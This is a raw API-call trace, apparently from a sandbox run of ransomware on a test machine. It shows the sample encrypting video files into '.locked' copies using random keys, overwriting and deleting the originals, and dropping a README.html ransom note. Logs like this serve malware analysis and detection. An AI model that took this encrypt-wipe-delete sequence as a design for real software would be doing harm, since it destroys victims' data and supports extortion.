	[0081.854] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.854] SetEvent (hEvent=0x8c) returned 1
	[0081.854] SetEvent (hEvent=0x78) returned 1
	[0081.854] SetEvent (hEvent=0x80) returned 1
	[0081.854] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.855] SetEvent (hEvent=0x80) returned 1
	[0081.856] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.857] SetEvent (hEvent=0x80) returned 1
	[0081.857] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.857] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.857] SetEvent (hEvent=0x80) returned 1
	[0081.857] SetEvent (hEvent=0x78) returned 1
	[0081.857] SetEvent (hEvent=0x8c) returned 1
	[0081.857] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.858] SetEvent (hEvent=0x8c) returned 1
	[0081.858] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\mIGbTI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\migbti.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.858] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0081.859] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.881] CloseHandle (hObject=0xc0) returned 1
	[0081.882] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\mIGbTI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\migbti.flv")) returned 1
	[0081.885] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\_F5gFCSeu637.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\_f5gfcseu637.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e33f60, ftCreationTime.dwHighDateTime=0x1d4ce2e, ftLastAccessTime.dwLowDateTime=0x7be0cd10, ftLastAccessTime.dwHighDateTime=0x1d4cfd9, ftLastWriteTime.dwLowDateTime=0x7be0cd10, ftLastWriteTime.dwHighDateTime=0x1d4cfd9, nFileSizeHigh=0x0, nFileSizeLow=0x4aa0)) returned 1
	[0081.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\_F5gFCSeu637.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\_f5gfcseu637.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.885] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.886] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\_F5gFCSeu637.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\_f5gfcseu637.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.886] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.886] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0081.886] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0081.886] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0081.887] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0081.889] SetEvent (hEvent=0x78) returned 1
	[0081.889] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x4aa0, lpOverlapped=0x0) returned 1
	[0081.890] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x4aa0, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x4aa0, lpOverlapped=0x0) returned 1
	[0081.890] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0081.890] CloseHandle (hObject=0xc4) returned 1
	[0081.891] CloseHandle (hObject=0xc0) returned 1
	[0081.891] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.891] SetEvent (hEvent=0x78) returned 1
	[0081.891] SetEvent (hEvent=0x8c) returned 1
	[0081.891] SetEvent (hEvent=0x80) returned 1
	[0081.891] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.892] SetEvent (hEvent=0x80) returned 1
	[0081.892] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3f) returned 1
	[0081.893] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\_F5gFCSeu637.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\_f5gfcseu637.mkv")) returned 1
	[0081.910] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.911] SetEvent (hEvent=0xa8) returned 1
	[0081.911] SetEvent (hEvent=0x8c) returned 1
	[0081.915] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.916] SetEvent (hEvent=0x8c) returned 1
	[0081.916] SetEvent (hEvent=0x80) returned 1
	[0081.916] SetEvent (hEvent=0x78) returned 1
	[0081.916] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.916] SetEvent (hEvent=0x78) returned 1
	[0081.918] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.918] SetEvent (hEvent=0x78) returned 1
	[0081.918] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.918] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.919] SetEvent (hEvent=0x78) returned 1
	[0081.919] SetEvent (hEvent=0x80) returned 1
	[0081.919] SetEvent (hEvent=0x8c) returned 1
	[0081.919] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.919] SetEvent (hEvent=0x8c) returned 1
	[0081.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\_F5gFCSeu637.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\_f5gfcseu637.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.920] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0081.920] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.938] CloseHandle (hObject=0xc0) returned 1
	[0081.938] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\_F5gFCSeu637.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\_f5gfcseu637.mkv")) returned 1
	[0081.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\gOtdtfh8YUufEzB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\gotdtfh8yuufezb.mp4"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef51b30, ftCreationTime.dwHighDateTime=0x1d4d540, ftLastAccessTime.dwLowDateTime=0x562c23d0, ftLastAccessTime.dwHighDateTime=0x1d4ce17, ftLastWriteTime.dwLowDateTime=0x562c23d0, ftLastWriteTime.dwHighDateTime=0x1d4ce17, nFileSizeHigh=0x0, nFileSizeLow=0x7169)) returned 1
	[0081.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\gOtdtfh8YUufEzB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\gotdtfh8yuufezb.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.942] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\gOtdtfh8YUufEzB.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\gotdtfh8yuufezb.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.942] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0081.943] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0081.943] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8130 | out: pbBuffer=0x127a8130) returned 1
	[0081.943] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0081.943] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0081.945] SetEvent (hEvent=0x80) returned 1
	[0081.945] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x7169, lpOverlapped=0x0) returned 1
	[0081.946] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x7169, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x7169, lpOverlapped=0x0) returned 1
	[0081.948] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0081.948] CloseHandle (hObject=0xc4) returned 1
	[0081.948] CloseHandle (hObject=0xc0) returned 1
	[0081.948] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.949] SetEvent (hEvent=0x80) returned 1
	[0081.949] SetEvent (hEvent=0x8c) returned 1
	[0081.949] SetEvent (hEvent=0x78) returned 1
	[0081.949] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.949] SetEvent (hEvent=0x78) returned 1
	[0081.949] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee83c*=0x42) returned 1
	[0081.950] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\gOtdtfh8YUufEzB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\gotdtfh8yuufezb.mp4")) returned 1
	[0081.968] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.968] SetEvent (hEvent=0xa8) returned 1
	[0081.968] SetEvent (hEvent=0x8c) returned 1
	[0081.972] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.973] SetEvent (hEvent=0x8c) returned 1
	[0081.973] SetEvent (hEvent=0x78) returned 1
	[0081.973] SetEvent (hEvent=0x80) returned 1
	[0081.973] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.973] SetEvent (hEvent=0x80) returned 1
	[0081.975] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.975] SetEvent (hEvent=0x80) returned 1
	[0081.975] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.975] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.976] SetEvent (hEvent=0x80) returned 1
	[0081.976] SetEvent (hEvent=0x78) returned 1
	[0081.976] SetEvent (hEvent=0x8c) returned 1
	[0081.976] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.976] SetEvent (hEvent=0x8c) returned 1
	[0081.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\gOtdtfh8YUufEzB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\gotdtfh8yuufezb.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.976] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0081.977] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.994] CloseHandle (hObject=0xc0) returned 1
	[0081.994] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\gOtdtfh8YUufEzB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\gotdtfh8yuufezb.mp4")) returned 1
	[0081.997] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69a3780, ftCreationTime.dwHighDateTime=0x1d4d533, ftLastAccessTime.dwLowDateTime=0x737c3b10, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0x737c3b10, ftLastWriteTime.dwHighDateTime=0x1d4c78b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0081.997] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0081.997] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69a3780, ftCreationTime.dwHighDateTime=0x1d4d533, ftLastAccessTime.dwLowDateTime=0x737c3b10, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0x737c3b10, ftLastWriteTime.dwHighDateTime=0x1d4c78b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0081.997] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69a3780, ftCreationTime.dwHighDateTime=0x1d4d533, ftLastAccessTime.dwLowDateTime=0x737c3b10, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0x737c3b10, ftLastWriteTime.dwHighDateTime=0x1d4c78b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.997] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa457ac80, ftCreationTime.dwHighDateTime=0x1d4c838, ftLastAccessTime.dwLowDateTime=0x2c9bc7b0, ftLastAccessTime.dwHighDateTime=0x1d4cdad, ftLastWriteTime.dwLowDateTime=0x2c9bc7b0, ftLastWriteTime.dwHighDateTime=0x1d4cdad, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x0, dwReserved1=0x0, cFileName="Awk-CL9pQOKWPp.mkv", cAlternateFileName="AWK-CL~1.MKV")) returned 1
	[0081.997] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf389e0, ftCreationTime.dwHighDateTime=0x1d4d42a, ftLastAccessTime.dwLowDateTime=0x716c80e0, ftLastAccessTime.dwHighDateTime=0x1d4d07e, ftLastWriteTime.dwLowDateTime=0x716c80e0, ftLastWriteTime.dwHighDateTime=0x1d4d07e, nFileSizeHigh=0x0, nFileSizeLow=0x16f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="chht4FNo-EFAeXK6aKrD.mp4", cAlternateFileName="CHHT4F~1.MP4")) returned 1
	[0081.997] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x586fcc80, ftCreationTime.dwHighDateTime=0x1d4c667, ftLastAccessTime.dwLowDateTime=0x9420cbc0, ftLastAccessTime.dwHighDateTime=0x1d4ca87, ftLastWriteTime.dwLowDateTime=0x9420cbc0, ftLastWriteTime.dwHighDateTime=0x1d4ca87, nFileSizeHigh=0x0, nFileSizeLow=0x15901, dwReserved0=0x0, dwReserved1=0x0, cFileName="H MVL9gb.mkv", cAlternateFileName="HMVL9G~1.MKV")) returned 1
	[0081.997] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb02790, ftCreationTime.dwHighDateTime=0x1d4cc2e, ftLastAccessTime.dwLowDateTime=0xe5bbd030, ftLastAccessTime.dwHighDateTime=0x1d4d4e4, ftLastWriteTime.dwLowDateTime=0xe5bbd030, ftLastWriteTime.dwHighDateTime=0x1d4d4e4, nFileSizeHigh=0x0, nFileSizeLow=0x6a7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IabIZCHomyq eh.mkv", cAlternateFileName="IABIZC~1.MKV")) returned 1
	[0081.997] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0081.997] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0081.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.998] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0081.998] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0081.999] CloseHandle (hObject=0xc0) returned 1
	[0081.999] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x58, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee84c*=0x58) returned 1
	[0082.001] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\Awk-CL9pQOKWPp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\awk-cl9pqokwpp.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa457ac80, ftCreationTime.dwHighDateTime=0x1d4c838, ftLastAccessTime.dwLowDateTime=0x2c9bc7b0, ftLastAccessTime.dwHighDateTime=0x1d4cdad, ftLastWriteTime.dwLowDateTime=0x2c9bc7b0, ftLastWriteTime.dwHighDateTime=0x1d4cdad, nFileSizeHigh=0x0, nFileSizeLow=0x1020)) returned 1
	[0082.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\Awk-CL9pQOKWPp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\awk-cl9pqokwpp.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.001] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0082.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\Awk-CL9pQOKWPp.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\awk-cl9pqokwpp.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0082.001] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0082.002] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c380 | out: pbBuffer=0x1238c380) returned 1
	[0082.002] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8270 | out: pbBuffer=0x127a8270) returned 1
	[0082.002] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416301 | out: pbBuffer=0x12416301) returned 1
	[0082.002] WriteFile (in: hFile=0xc4, lpBuffer=0x12799000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12799000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0082.004] SetEvent (hEvent=0x78) returned 1
	[0082.005] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x1020, lpOverlapped=0x0) returned 1
	[0082.005] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x1020, lpOverlapped=0x0) returned 1
	[0082.006] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0082.006] CloseHandle (hObject=0xc4) returned 1
	[0082.007] CloseHandle (hObject=0xc0) returned 1
	[0082.007] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.007] SetEvent (hEvent=0x78) returned 1
	[0082.007] SetEvent (hEvent=0x8c) returned 1
	[0082.007] SetEvent (hEvent=0x80) returned 1
	[0082.007] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.008] SetEvent (hEvent=0xa8) returned 1
	[0082.008] SetEvent (hEvent=0x80) returned 1
	[0082.008] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x55, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee7d8*=0x55) returned 1
	[0082.009] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\Awk-CL9pQOKWPp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\awk-cl9pqokwpp.mkv")) returned 1
	[0082.026] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.027] SetEvent (hEvent=0xa8) returned 1
	[0082.027] SetEvent (hEvent=0x8c) returned 1
	[0082.031] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.032] SetEvent (hEvent=0x8c) returned 1
	[0082.032] SetEvent (hEvent=0x80) returned 1
	[0082.032] SetEvent (hEvent=0x78) returned 1
	[0082.032] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.032] SetEvent (hEvent=0x78) returned 1
